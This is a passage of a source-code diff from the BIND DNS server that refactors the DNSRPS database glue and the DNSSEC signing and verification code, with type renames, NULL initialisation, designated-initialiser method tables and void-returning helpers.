 	REQUIRE(type != dns_rdatatype_none);
@@ -459,19 +434,20 @@ rpsdb_bind_rdataset(dns_rdataset_t *rdataset, uint count, librpz_idx_t next_rr,
 	rdataset->ttl = ttl;
 	dbp = NULL;
 	dns_db_attach(&rpsdb->common, &dbp);
-	RD_DB(rdataset) = dbp;
+	RD_DB(rdataset) = (dns_rpsdb_t *)dbp;
 	RD_COUNT(rdataset) = count;
 	RD_NEXT_RR(rdataset) = next_rr;
 	RD_CUR_RR(rdataset) = NULL;
 }
 
 static isc_result_t
-rpsdb_bind_soa(dns_rdataset_t *rdataset, rpsdb_t *rpsdb) {
+rpsdb_bind_soa(dns_rdataset_t *rdataset, dns_rpsdb_t *rpsdb) {
 	uint32_t ttl;
 	librpz_emsg_t emsg;
 
 	if (!librpz->rsp_soa(&emsg, &ttl, NULL, NULL, &rpsdb->result,
-			     rpsdb->rsp)) {
+			     rpsdb->rsp))
+	{
 		librpz->log(LIBRPZ_LOG_ERROR, NULL, "%s", emsg.c);
 		return (DNS_R_SERVFAIL);
 	}
@@ -490,7 +466,7 @@ rpsdb_findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 		   dns_rdatatype_t type, dns_rdatatype_t covers,
 		   isc_stdtime_t now, dns_rdataset_t *rdataset,
 		   dns_rdataset_t *sigrdataset) {
-	rpsdb_t *rpsdb = (rpsdb_t *)db;
+	dns_rpsdb_t *rpsdb = (dns_rpsdb_t *)db;
 	dns_rdatatype_t foundtype;
 	dns_rdataclass_t class;
 	uint32_t ttl;
@@ -517,6 +493,16 @@ rpsdb_findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 	REQUIRE(node == &rpsdb->data_node);
 
 	switch (rpsdb->result.policy) {
+	case LIBRPZ_POLICY_NXDOMAIN:
+		return (DNS_R_NXDOMAIN);
+
+	case LIBRPZ_POLICY_NODATA:
+		return (DNS_R_NXRRSET);
+
+	case LIBRPZ_POLICY_RECORD:
+	case LIBRPZ_POLICY_CNAME:
+		break;
+
 	case LIBRPZ_POLICY_UNDEFINED:
 	case LIBRPZ_POLICY_DELETED:
 	case LIBRPZ_POLICY_PASSTHRU:
@@ -529,16 +515,6 @@ rpsdb_findrdataset(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 			    "impossible dnsrps policy %d at %s:%d",
 			    rpsdb->result.policy, __FILE__, __LINE__);
 		return (DNS_R_SERVFAIL);
-
-	case LIBRPZ_POLICY_NXDOMAIN:
-		return (DNS_R_NXDOMAIN);
-
-	case LIBRPZ_POLICY_NODATA:
-		return (DNS_R_NXRRSET);
-
-	case LIBRPZ_POLICY_RECORD:
-	case LIBRPZ_POLICY_CNAME:
-		break;
 	}
 
 	if (type == dns_rdatatype_soa) {
@@ -600,7 +576,7 @@ rpsdb_finddb(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
 	     dns_rdatatype_t type, unsigned int options, isc_stdtime_t now,
 	     dns_dbnode_t **nodep, dns_name_t *foundname,
 	     dns_rdataset_t *rdataset, dns_rdataset_t *sigrdataset) {
-	dns_dbnode_t *node;
+	dns_dbnode_t *node = NULL;
 
 	UNUSED(version);
 	UNUSED(options);
@@ -619,9 +595,10 @@ rpsdb_finddb(dns_db_t *db, const dns_name_t *name, dns_dbversion_t *version,
 
 static isc_result_t
 rpsdb_allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
-		   isc_stdtime_t now, dns_rdatasetiter_t **iteratorp) {
-	rpsdb_t *rpsdb = (rpsdb_t *)db;
-	rpsdb_rdatasetiter_t *rpsdb_iter;
+		   unsigned int options, isc_stdtime_t now,
+		   dns_rdatasetiter_t **iteratorp) {
+	dns_rpsdb_t *rpsdb = (dns_rpsdb_t *)db;
+	rpsdb_rdatasetiter_t *rpsdb_iter = NULL;
 
 	UNUSED(version);
 	UNUSED(now);
@@ -630,11 +607,15 @@ rpsdb_allrdatasets(dns_db_t *db, dns_dbnode_t *node, dns_dbversion_t *version,
 	REQUIRE(node == &rpsdb->origin_node || node == &rpsdb->data_node);
 
 	rpsdb_iter = isc_mem_get(rpsdb->common.mctx, sizeof(*rpsdb_iter));
+	*rpsdb_iter = ( rpsdb_rdatasetiter_t){
+
+		.common= {.magic = DNS_RDATASETITER_MAGIC,
+			.methods = &rpsdb_rdatasetiter_methods,
+			.db = db,
+			.options = options,
+		},
+	};
 
-	memset(rpsdb_iter, 0, sizeof(*rpsdb_iter));
-	rpsdb_iter->common.magic = DNS_RDATASETITER_MAGIC;
-	rpsdb_iter->common.methods = &rpsdb_rdatasetiter_methods;
-	rpsdb_iter->common.db = db;
 	rpsdb_attachnode(db, node, &rpsdb_iter->common.node);
 
 	*iteratorp = &rpsdb_iter->common;
@@ -651,7 +632,7 @@ rpsdb_issecure(dns_db_t *db) {
 
 static isc_result_t
 rpsdb_getoriginnode(dns_db_t *db, dns_dbnode_t **nodep) {
-	rpsdb_t *rpsdb = (rpsdb_t *)db;
+	dns_rpsdb_t *rpsdb = (dns_rpsdb_t *)db;
 
 	REQUIRE(VALID_RPSDB(rpsdb));
 	REQUIRE(nodep != NULL && *nodep == NULL);
@@ -662,7 +643,7 @@ rpsdb_getoriginnode(dns_db_t *db, dns_dbnode_t **nodep) {
 
 static void
 rpsdb_rdataset_disassociate(dns_rdataset_t *rdataset) {
-	dns_db_t *db;
+	dns_db_t *db = NULL;
 
 	/*
 	 * Detach the last RR delivered.
@@ -672,17 +653,17 @@ rpsdb_rdataset_disassociate(dns_rdataset_t *rdataset) {
 		RD_CUR_RR(rdataset) = NULL;
 	}
 
-	db = RD_DB(rdataset);
+	db = (dns_db_t *)RD_DB(rdataset);
 	RD_DB(rdataset) = NULL;
 	dns_db_detach(&db);
 }
 
 static isc_result_t
 rpsdb_rdataset_next(dns_rdataset_t *rdataset) {
-	rpsdb_t *rpsdb;
+	dns_rpsdb_t *rpsdb = NULL;
 	uint16_t type;
 	dns_rdataclass_t class;
-	librpz_rr_t *rr;
+	librpz_rr_t *rr = NULL;
 	librpz_emsg_t emsg;
 
 	rpsdb = RD_DB(rdataset);
@@ -705,7 +686,8 @@ rpsdb_rdataset_next(dns_rdataset_t *rdataset) {
 		}
 		RD_NEXT_RR(rdataset) = LIBRPZ_IDX_NULL;
 		if (!librpz->rsp_soa(&emsg, NULL, &rr, NULL, &rpsdb->result,
-				     rpsdb->rsp)) {
+				     rpsdb->rsp))
+		{
 			librpz->log(LIBRPZ_LOG_ERROR, NULL, "%s", emsg.c);
 			return (DNS_R_SERVFAIL);
 		}
@@ -736,7 +718,7 @@ rpsdb_rdataset_next(dns_rdataset_t *rdataset) {
 
 static isc_result_t
 rpsdb_rdataset_first(dns_rdataset_t *rdataset) {
-	rpsdb_t *rpsdb;
+	dns_rpsdb_t *rpsdb = NULL;
 	librpz_emsg_t emsg;
 
 	rpsdb = RD_DB(rdataset);
@@ -762,8 +744,8 @@ rpsdb_rdataset_first(dns_rdataset_t *rdataset) {
 
 static void
 rpsdb_rdataset_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata) {
-	rpsdb_t *rpsdb;
-	librpz_rr_t *rr;
+	dns_rpsdb_t *rpsdb = NULL;
+	librpz_rr_t *rr = NULL;
 	isc_region_t r;
 
 	rpsdb = RD_DB(rdataset);
@@ -778,8 +760,8 @@ rpsdb_rdataset_current(dns_rdataset_t *rdataset, dns_rdata_t *rdata) {
 
 static void
 rpsdb_rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target) {
-	rpsdb_t *rpsdb;
-	dns_db_t *dbp;
+	dns_rpsdb_t *rpsdb = NULL;
+	dns_db_t *dbp = NULL;
 
 	INSIST(!ISC_LINK_LINKED(target, link));
 	*target = *source;
@@ -788,14 +770,14 @@ rpsdb_rdataset_clone(dns_rdataset_t *source, dns_rdataset_t *target) {
 	REQUIRE(VALID_RPSDB(rpsdb));
 	dbp = NULL;
 	dns_db_attach(&rpsdb->common, &dbp);
-	RD_DB(target) = dbp;
+	RD_DB(target) = (dns_rpsdb_t *)dbp;
 	RD_CUR_RR(target) = NULL;
 	RD_NEXT_RR(target) = LIBRPZ_IDX_NULL;
 }
 
 static unsigned int
 rpsdb_rdataset_count(dns_rdataset_t *rdataset) {
-	rpsdb_t *rpsdb;
+	dns_rpsdb_t *rpsdb = NULL;
 
 	rpsdb = RD_DB(rdataset);
 	REQUIRE(VALID_RPSDB(rpsdb));
@@ -805,13 +787,13 @@ rpsdb_rdataset_count(dns_rdataset_t *rdataset) {
 
 static void
 rpsdb_rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp) {
-	rpsdb_t *rpsdb;
-	dns_rdatasetiter_t *iterator;
-	isc_mem_t *mctx;
+	dns_rpsdb_t *rpsdb = NULL;
+	dns_rdatasetiter_t *iterator = NULL;
+	isc_mem_t *mctx = NULL;
 
 	iterator = *iteratorp;
 	*iteratorp = NULL;
-	rpsdb = (rpsdb_t *)iterator->db;
+	rpsdb = (dns_rpsdb_t *)iterator->db;
 	REQUIRE(VALID_RPSDB(rpsdb));
 
 	mctx = iterator->db->mctx;
@@ -821,14 +803,14 @@ rpsdb_rdatasetiter_destroy(dns_rdatasetiter_t **iteratorp) {
 
 static isc_result_t
 rpsdb_rdatasetiter_next(dns_rdatasetiter_t *iter) {
-	rpsdb_t *rpsdb;
-	rpsdb_rdatasetiter_t *rpsdb_iter;
+	dns_rpsdb_t *rpsdb = NULL;
+	rpsdb_rdatasetiter_t *rpsdb_iter = NULL;
 	dns_rdatatype_t next_type, type;
 	dns_rdataclass_t next_class, class;
 	uint32_t ttl;
 	librpz_emsg_t emsg;
 
-	rpsdb = (rpsdb_t *)iter->db;
+	rpsdb = (dns_rpsdb_t *)iter->db;
 	REQUIRE(VALID_RPSDB(rpsdb));
 	rpsdb_iter = (rpsdb_rdatasetiter_t *)iter;
 
@@ -891,10 +873,10 @@ rpsdb_rdatasetiter_next(dns_rdatasetiter_t *iter) {
 
 static isc_result_t
 rpsdb_rdatasetiter_first(dns_rdatasetiter_t *iterator) {
-	rpsdb_t *rpsdb;
-	rpsdb_rdatasetiter_t *rpsdb_iter;
+	dns_rpsdb_t *rpsdb = NULL;
+	rpsdb_rdatasetiter_t *rpsdb_iter = NULL;
 
-	rpsdb = (rpsdb_t *)iterator->db;
+	rpsdb = (dns_rpsdb_t *)iterator->db;
 	REQUIRE(VALID_RPSDB(rpsdb));
 	rpsdb_iter = (rpsdb_rdatasetiter_t *)iterator;
 
@@ -906,10 +888,10 @@ rpsdb_rdatasetiter_first(dns_rdatasetiter_t *iterator) {
 static void
 rpsdb_rdatasetiter_current(dns_rdatasetiter_t *iterator,
 			   dns_rdataset_t *rdataset) {
-	rpsdb_t *rpsdb;
-	rpsdb_rdatasetiter_t *rpsdb_iter;
+	dns_rpsdb_t *rpsdb = NULL;
+	rpsdb_rdatasetiter_t *rpsdb_iter = NULL;
 
-	rpsdb = (rpsdb_t *)iterator->db;
+	rpsdb = (dns_rpsdb_t *)iterator->db;
 	REQUIRE(VALID_RPSDB(rpsdb));
 	rpsdb_iter = (rpsdb_rdatasetiter_t *)iterator;
 	REQUIRE(rpsdb_iter->type != dns_rdatatype_none);
@@ -920,76 +902,24 @@ rpsdb_rdatasetiter_current(dns_rdatasetiter_t *iterator,
 }
 
 static dns_dbmethods_t rpsdb_db_methods = {
-	rpsdb_attach,
-	rpsdb_detach,
-	NULL, /* beginload */
-	NULL, /* endload */
-	NULL, /* serialize */
-	NULL, /* dump */
-	NULL, /* currentversion */
-	NULL, /* newversion */
-	NULL, /* attachversion */
-	NULL, /* closeversion */
-	rpsdb_findnode,
-	rpsdb_finddb,
-	NULL, /* findzonecut*/
-	rpsdb_attachnode,
-	rpsdb_detachnode,
-	NULL, /* expirenode */
-	NULL, /* printnode */
-	NULL, /* createiterator */
-	rpsdb_findrdataset,
-	rpsdb_allrdatasets,
-	NULL, /* addrdataset */
-	NULL, /* subtractrdataset */
-	NULL, /* deleterdataset */
-	rpsdb_issecure,
-	NULL, /* nodecount */
-	NULL, /* ispersistent */
-	NULL, /* overmem */
-	NULL, /* settask */
-	rpsdb_getoriginnode,
-	NULL, /* transfernode */
-	NULL, /* getnsec3parameters */
-	NULL, /* findnsec3node */
-	NULL, /* setsigningtime */
-	NULL, /* getsigningtime */
-	NULL, /* resigned */
-	NULL, /* isdnssec */
-	NULL, /* getrrsetstats */
-	NULL, /* rpz_attach */
-	NULL, /* rpz_ready */
-	NULL, /* findnodeext */
-	NULL, /* findext */
-	NULL, /* setcachestats */
-	NULL, /* hashsize */
-	NULL, /* nodefullname */
-	NULL, /* getsize */
-	NULL, /* setservestalettl */
-	NULL, /* getservestalettl */
-	NULL, /* setservestalerefresh */
-	NULL, /* getservestalerefresh */
-	NULL, /* setgluecachestats */
-	NULL  /* adjusthashsize */
+	.destroy = rpsdb_destroy,
+	.findnode = rpsdb_findnode,
+	.find = rpsdb_finddb,
+	.attachnode = rpsdb_attachnode,
+	.detachnode = rpsdb_detachnode,
+	.findrdataset = rpsdb_findrdataset,
+	.allrdatasets = rpsdb_allrdatasets,
+	.issecure = rpsdb_issecure,
+	.getoriginnode = rpsdb_getoriginnode,
 };
 
 static dns_rdatasetmethods_t rpsdb_rdataset_methods = {
-	rpsdb_rdataset_disassociate,
-	rpsdb_rdataset_first,
-	rpsdb_rdataset_next,
-	rpsdb_rdataset_current,
-	rpsdb_rdataset_clone,
-	rpsdb_rdataset_count,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL,
-	NULL
+	.disassociate = rpsdb_rdataset_disassociate,
+	.first = rpsdb_rdataset_first,
+	.next = rpsdb_rdataset_next,
+	.current = rpsdb_rdataset_current,
+	.clone = rpsdb_rdataset_clone,
+	.count = rpsdb_rdataset_count,
 };
 
 static dns_rdatasetitermethods_t rpsdb_rdatasetiter_methods = {
diff --git a/lib/dns/dnssec.c b/lib/dns/dnssec.c
index f233b0cfa6..78f1b47416 100644
--- a/lib/dns/dnssec.c
+++ b/lib/dns/dnssec.c
@@ -1,6 +1,8 @@
 /*
  * Copyright (C) Internet Systems Consortium, Inc. ("ISC")
  *
+ * SPDX-License-Identifier: MPL-2.0
+ *
  * This Source Code Form is subject to the terms of the Mozilla Public
  * License, v. 2.0. If a copy of the MPL was not distributed with this
  * file, you can obtain one at https://mozilla.org/MPL/2.0/.
@@ -19,13 +21,11 @@
 #include <isc/buffer.h>
 #include <isc/dir.h>
 #include <isc/mem.h>
-#include <isc/print.h>
+#include <isc/result.h>
 #include <isc/serial.h>
 #include <isc/string.h>
 #include <isc/util.h>
 
-#include <pk11/site.h>
-
 #include <dns/db.h>
 #include <dns/diff.h>
 #include <dns/dnssec.h>
@@ -38,13 +38,10 @@
 #include <dns/rdatalist.h>
 #include <dns/rdataset.h>
 #include <dns/rdatastruct.h>
-#include <dns/result.h>
 #include <dns/stats.h>
 #include <dns/tsig.h> /* for DNS_TSIG_FUDGE */
 
-#include <dst/result.h>
-
-LIBDNS_EXTERNAL_DATA isc_stats_t *dns_dnssec_stats;
+isc_stats_t *dns_dnssec_stats;
 
 #define is_response(msg) ((msg->flags & DNS_MESSAGEFLAG_QR) != 0)
 
@@ -75,7 +72,7 @@ digest_callback(void *arg, isc_region_t *data) {
 	return (dst_context_adddata(ctx, data));
 }
 
-static inline void
+static void
 inc_stat(isc_statscounter_t counter) {
 	if (dns_dnssec_stats != NULL) {
 		isc_stats_increment(dns_dnssec_stats, counter);
@@ -104,14 +101,14 @@ rdataset_to_sortedarray(dns_rdataset_t *set, isc_mem_t *mctx,
 
 	n = dns_rdataset_count(set);
 
-	data = isc_mem_get(mctx, n * sizeof(dns_rdata_t));
+	data = isc_mem_cget(mctx, n, sizeof(dns_rdata_t));
 
 	dns_rdataset_init(&rdataset);
 	dns_rdataset_clone(set, &rdataset);
 	ret = dns_rdataset_first(&rdataset);
 	if (ret != ISC_R_SUCCESS) {
 		dns_rdataset_disassociate(&rdataset);
-		isc_mem_put(mctx, data, n * sizeof(dns_rdata_t));
+		isc_mem_cput(mctx, data, n, sizeof(dns_rdata_t));
 		return (ret);
 	}
 
@@ -360,7 +357,7 @@ dns_dnssec_sign(const dns_name_t *name, dns_rdataset_t *set, dst_key_t *key,
 				   sig.common.rdtype, &sig, buffer);
 
 cleanup_array:
-	isc_mem_put(mctx, rdatas, nrdatas * sizeof(dns_rdata_t));
+	isc_mem_cput(mctx, rdatas, nrdatas, sizeof(dns_rdata_t));
 cleanup_context:
 	dst_context_destroy(&ctx);
 cleanup_databuf:
@@ -409,7 +406,7 @@ dns_dnssec_verify(const dns_name_t *name, dns_rdataset_t *set, dst_key_t *key,
 	}
 
 	if (!ignoretime) {
-		isc_stdtime_get(&now);
+		now = isc_stdtime_now();
 
 		/*
 		 * Is SIG temporally valid?
@@ -441,7 +438,7 @@ dns_dnssec_verify(const dns_name_t *name, dns_rdataset_t *set, dst_key_t *key,
 			inc_stat(dns_dnssecstats_fail);
 			return (DNS_R_SIGINVALID);
 		}
-	/* FALLTHROUGH */
+		FALLTHROUGH;
 	default:
 		if (!dns_name_issubdomain(name, &sig.signer)) {
 			inc_stat(dns_dnssecstats_fail);
@@ -574,7 +571,7 @@ dns_dnssec_verify(const dns_name_t *name, dns_rdataset_t *set, dst_key_t *key,
 	}
 
 cleanup_array:
-	isc_mem_put(mctx, rdatas, nrdatas * sizeof(dns_rdata_t));
+	isc_mem_cput(mctx, rdatas, nrdatas, sizeof(dns_rdata_t));
 cleanup_context:
 	dst_context_destroy(&ctx);
 	if (ret == DST_R_VERIFYFAILURE && !downcase) {
@@ -788,7 +785,8 @@ dns_dnssec_findzonekeys(dns_db_t *db, dns_dbversion_t *ver, dns_dbnode_t *node,
 		dst_key_setttl(pubkey, rdataset.ttl);
 
 		if (!is_zone_key(pubkey) ||
-		    (dst_key_flags(pubkey) & DNS_KEYTYPE_NOAUTH) != 0) {
+		    (dst_key_flags(pubkey) & DNS_KEYTYPE_NOAUTH) != 0)
+		{
 			goto next;
 		}
 		/* Corrupted .key file? */
@@ -821,7 +819,8 @@ dns_dnssec_findzonekeys(dns_db_t *db, dns_dbversion_t *ver, dns_dbnode_t *node,
 					directory, mctx, &keys[count]);
 				if (result == ISC_R_SUCCESS &&
 				    dst_key_pubcompare(pubkey, keys[count],
-						       false)) {
+						       false))
+				{
 					dst_key_setflags(keys[count], flags);
 				}
 				dst_key_setflags(pubkey, flags);
@@ -857,7 +856,7 @@ dns_dnssec_findzonekeys(dns_db_t *db, dns_dbversion_t *ver, dns_dbnode_t *node,
 
 			isc_log_write(dns_lctx, DNS_LOGCATEGORY_GENERAL,
 				      DNS_LOGMODULE_DNSSEC, ISC_LOG_WARNING,
-				      "dns_dnssec_findzonekeys2: error "
+				      "dns_dnssec_findzonekeys: error "
 				      "reading %s: %s",
 				      filename, isc_result_totext(result));
 		}
@@ -945,7 +944,6 @@ dns_dnssec_signmessage(dns_message_t *msg, dst_key_t *key) {
 	dst_context_t *ctx = NULL;
 	isc_mem_t *mctx;
 	isc_result_t result;
-	bool signeedsfree = true;
 
 	REQUIRE(msg != NULL);
 	REQUIRE(key != NULL);
@@ -968,7 +966,11 @@ dns_dnssec_signmessage(dns_message_t *msg, dst_key_t *key) {
 	sig.labels = 0; /* the root name */
 	sig.originalttl = 0;
 
-	isc_stdtime_get(&now);
+	if (msg->fuzzing) {
+		now = msg->fuzztime;
+	} else {
+		now = isc_stdtime_now();
+	}
 	sig.timesigned = now - DNS_TSIG_FUDGE;
 	sig.timeexpire = now + DNS_TSIG_FUDGE;
 
@@ -1026,26 +1028,24 @@ dns_dnssec_signmessage(dns_message_t *msg, dst_key_t *key) {
 	dst_context_destroy(&ctx);
 
 	rdata = NULL;
-	RETERR(dns_message_gettemprdata(msg, &rdata));
+	dns_message_gettemprdata(msg, &rdata);
 	isc_buffer_allocate(msg->mctx, &dynbuf, 1024);
 	RETERR(dns_rdata_fromstruct(rdata, dns_rdataclass_any,
 				    dns_rdatatype_sig /* SIG(0) */, &sig,
 				    dynbuf));
 
 	isc_mem_put(mctx, sig.signature, sig.siglen);
-	signeedsfree = false;
 
 	dns_message_takebuffer(msg, &dynbuf);
 
 	datalist = NULL;
-	RETERR(dns_message_gettemprdatalist(msg, &datalist));
+	dns_message_gettemprdatalist(msg, &datalist);
 	datalist->rdclass = dns_rdataclass_any;
 	datalist->type = dns_rdatatype_sig; /* SIG(0) */
 	ISC_LIST_APPEND(datalist->rdata, rdata, link);
 	dataset = NULL;
-	RETERR(dns_message_gettemprdataset(msg, &dataset));
-	RUNTIME_CHECK(dns_rdatalist_tordataset(datalist, dataset) ==
-		      ISC_R_SUCCESS);
+	dns_message_gettemprdataset(msg, &dataset);
+	dns_rdatalist_tordataset(datalist, dataset);
 	msg->sig0 = dataset;
 
 	return (ISC_R_SUCCESS);
@@ -1054,7 +1054,7 @@ dns_dnssec_signmessage(dns_message_t *msg, dst_key_t *key) {
 	if (dynbuf != NULL) {
 		isc_buffer_free(&dynbuf);
 	}
-	if (signeedsfree) {
+	if (sig.signature != NULL) {
 		isc_mem_put(mctx, sig.signature, sig.siglen);
 	}
 	if (ctx != NULL) {
@@ -1113,7 +1113,12 @@ dns_dnssec_verifymessage(isc_buffer_t *source, dns_message_t *msg,
 		goto failure;
 	}
 
-	isc_stdtime_get(&now);
+	if (msg->fuzzing) {
+		now = msg->fuzztime;
+	} else {
+		now = isc_stdtime_now();
+	}
+
 	if (isc_serial_lt((uint32_t)now, sig.timesigned)) {
 		result = DNS_R_SIGFUTURE;
 		msg->sig0status = dns_tsigerror_badtime;
@@ -1268,7 +1273,7 @@ dns_dnssec_signs(dns_rdata_t *rdata, const dns_name_t *name,
 	return (false);
 }
 
-isc_result_t
+void
 dns_dnsseckey_create(isc_mem_t *mctx, dst_key_t **dstkey,
 		     dns_dnsseckey_t **dkp) {
 	isc_result_t result;
@@ -1312,7 +1317,6 @@ dns_dnsseckey_create(isc_mem_t *mctx, dst_key_t **dstkey,
 
 	ISC_LINK_INIT(dk, link);
 	*dkp = dk;
-	return (ISC_R_SUCCESS);
 }
 
 void
@@ -1444,7 +1448,8 @@ dns_dnssec_findmatchingkeys(const dns_name_t *origin, const char *directory,
 		 * Did we correctly terminate?
 		 */
 		if (i != len + 1 + 1 + 3 || i >= dir.entry.length ||
-		    dir.entry.name[i] != '+') {
+		    dir.entry.name[i] != '+')
+		{
 			continue;
 		}
 
@@ -1492,7 +1497,7 @@ dns_dnssec_findmatchingkeys(const dns_name_t *origin, const char *directory,
 			continue;
 		}
 
-		RETERR(dns_dnsseckey_create(mctx, &dstkey, &key));
+		dns_dnsseckey_create(mctx, &dstkey, &key);
 		key->source = dns_keysource_repository;
 		dns_dnssec_get_hints(key, now);
 
@@ -1535,15 +1540,15 @@ dns_dnssec_findmatchingkeys(const dns_name_t *origin, const char *directory,
  * the keys in the keyset, regardless of whether they have
  * metadata indicating they should be deactivated or removed.
  */
-static isc_result_t
+static void
 addkey(dns_dnsseckeylist_t *keylist, dst_key_t **newkey, bool savekeys,
        isc_mem_t *mctx) {
-	dns_dnsseckey_t *key;
-	isc_result_t result;
+	dns_dnsseckey_t *key = NULL;
 
 	/* Skip duplicates */
 	for (key = ISC_LIST_HEAD(*keylist); key != NULL;
-	     key = ISC_LIST_NEXT(key, link)) {
+	     key = ISC_LIST_NEXT(key, link))
+	{
 		if (dst_key_id(key->key) == dst_key_id(*newkey) &&
 		    dst_key_alg(key->key) == dst_key_alg(*newkey) &&
 		    dns_name_equal(dst_key_name(key->key),
@@ -1568,13 +1573,10 @@ addkey(dns_dnsseckeylist_t *keylist, dst_key_t **newkey, bool savekeys,
 		}
 
 		key->source = dns_keysource_zoneapex;
-		return (ISC_R_SUCCESS);
+		return;
 	}
 
-	result = dns_dnsseckey_create(mctx, newkey, &key);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
+	dns_dnsseckey_create(mctx, newkey, &key);
 	if (key->legacy || savekeys) {
 		key->force_publish = true;
 		key->force_sign = dst_key_isprivate(key->key);
@@ -1582,7 +1584,6 @@ addkey(dns_dnsseckeylist_t *keylist, dst_key_t **newkey, bool savekeys,
 	key->source = dns_keysource_zoneapex;
 	ISC_LIST_APPEND(*keylist, key, link);
 	*newkey = NULL;
-	return (ISC_R_SUCCESS);
 }
 
 /*%
@@ -1601,7 +1602,8 @@ mark_active_keys(dns_dnsseckeylist_t *keylist, dns_rdataset_t *rrsigs) {
 	dns_rdataset_init(&sigs);
 	dns_rdataset_clone(rrsigs, &sigs);
 	for (key = ISC_LIST_HEAD(*keylist); key != NULL;
-	     key = ISC_LIST_NEXT(key, link)) {
+	     key = ISC_LIST_NEXT(key, link))
+	{
 		uint16_t keyid, sigid;
 		dns_secalg_t keyalg, sigalg;
 		keyid = dst_key_id(key->key);
@@ -1673,7 +1675,8 @@ dns_dnssec_keylistfromrdataset(const dns_name_t *origin, const char *directory,
 		dst_key_setttl(dnskey, keys.ttl);
 
 		if (!is_zone_key(dnskey) ||
-		    (dst_key_flags(dnskey) & DNS_KEYTYPE_NOAUTH) != 0) {
+		    (dst_key_flags(dnskey) & DNS_KEYTYPE_NOAUTH) != 0)
+		{
 			goto skip;
 		}
 
@@ -1683,7 +1686,7 @@ dns_dnssec_keylistfromrdataset(const dns_name_t *origin, const char *directory,
 		}
 
 		if (publickey) {
-			RETERR(addkey(keylist, &dnskey, savekeys, mctx));
+			addkey(keylist, &dnskey, savekeys, mctx);
 			goto skip;
 		}
 
@@ -1766,11 +1769,9 @@ dns_dnssec_keylistfromrdataset(const dns_name_t *origin, const char *directory,
 
 		if (result == ISC_R_FILENOTFOUND || result == ISC_R_NOPERM) {
 			if (pubkey != NULL) {
-				RETERR(addkey(keylist, &pubkey, savekeys,
-					      mctx));
+				addkey(keylist, &pubkey, savekeys, mctx);
 			} else {
-				RETERR(addkey(keylist, &dnskey, savekeys,
-					      mctx));
+				addkey(keylist, &dnskey, savekeys, mctx);
 			}
 			goto skip;
 		}
@@ -1787,7 +1788,7 @@ dns_dnssec_keylistfromrdataset(const dns_name_t *origin, const char *directory,
 		 */
 		dst_key_setttl(privkey, dst_key_getttl(dnskey));
 
-		RETERR(addkey(keylist, &privkey, savekeys, mctx));
+		addkey(keylist, &privkey, savekeys, mctx);
 	skip:
 		if (dnskey != NULL) {
 			dst_key_free(&dnskey);
@@ -1830,9 +1831,9 @@ dns_dnssec_keylistfromrdataset(const dns_name_t *origin, const char *directory,
 	return (result);
 }
 
-static isc_result_t
-make_dnskey(dst_key_t *key, unsigned char *buf, int bufsize,
-	    dns_rdata_t *target) {
+isc_result_t
+dns_dnssec_make_dnskey(dst_key_t *key, unsigned char *buf, int bufsize,
+		       dns_rdata_t *target) {
 	isc_result_t result;
 	isc_buffer_t b;
 	isc_region_t r;
@@ -1880,14 +1881,15 @@ delrdata(dns_rdata_t *rdata, dns_diff_t *diff, const dns_name_t *origin,
 
 static isc_result_t
 publish_key(dns_diff_t *diff, dns_dnsseckey_t *key, const dns_name_t *origin,
-	    dns_ttl_t ttl, isc_mem_t *mctx, void (*report)(const char *, ...)) {
+	    dns_ttl_t ttl, isc_mem_t *mctx,
+	    void (*report)(const char *, ...) ISC_FORMAT_PRINTF(1, 2)) {
 	isc_result_t result;
 	unsigned char buf[DST_KEY_MAXSIZE];
 	char keystr[DST_KEY_FORMATSIZE];
 	dns_rdata_t dnskey = DNS_RDATA_INIT;
 
 	dns_rdata_reset(&dnskey);
-	RETERR(make_dnskey(key->key, buf, sizeof(buf), &dnskey));
+	RETERR(dns_dnssec_make_dnskey(key->key, buf, sizeof(buf), &dnskey));
 	dst_key_format(key->key, keystr, sizeof(keystr));
 
 	report("Fetching %s (%s) from key %s.", keystr,
@@ -1897,10 +1899,11 @@ publish_key(dns_diff_t *diff, dns_dnsseckey_t *key, const dns_name_t *origin,
 	if (key->prepublish && ttl > key->prepublish) {
 		isc_stdtime_t now;
 
-		report("Key %s: Delaying activation to match the DNSKEY TTL.",
+		report("Key %s: Delaying activation to match the DNSKEY TTL "
+		       "(%u).",
 		       keystr, ttl);
 
-		isc_stdtime_get(&now);
+		now = isc_stdtime_now();
 		dst_key_settime(key->key, DST_TIME_ACTIVATE, now + ttl);
 	}
 
@@ -1914,17 +1917,19 @@ publish_key(dns_diff_t *diff, dns_dnsseckey_t *key, const dns_name_t *origin,
 static isc_result_t
 remove_key(dns_diff_t *diff, dns_dnsseckey_t *key, const dns_name_t *origin,
 	   dns_ttl_t ttl, isc_mem_t *mctx, const char *reason,
-	   void (*report)(const char *, ...)) {
+	   void (*report)(const char *, ...) ISC_FORMAT_PRINTF(1, 2)) {
 	isc_result_t result;
 	unsigned char buf[DST_KEY_MAXSIZE];
 	dns_rdata_t dnskey = DNS_RDATA_INIT;
 	char alg[80];
+	char namebuf[DNS_NAME_FORMATSIZE];
 
 	dns_secalg_format(dst_key_alg(key->key), alg, sizeof(alg));
-	report("Removing %s key %d/%s from DNSKEY RRset.", reason,
+	dns_name_format(dst_key_name(key->key), namebuf, sizeof(namebuf));
+	report("Removing %s key %s/%d/%s from DNSKEY RRset.", reason, namebuf,
 	       dst_key_id(key->key), alg);
 
-	RETERR(make_dnskey(key->key, buf, sizeof(buf), &dnskey));
+	RETERR(dns_dnssec_make_dnskey(key->key, buf, sizeof(buf), &dnskey));
 	result = delrdata(&dnskey, diff, origin, ttl, mctx);
 
 failure:
@@ -1953,73 +1958,116 @@ exists(dns_rdataset_t *rdataset, dns_rdata_t *rdata) {
 	return (false);
 }
 
+static isc_result_t
+add_cds(dns_dnsseckey_t *key, dns_rdata_t *keyrdata, const char *keystr,
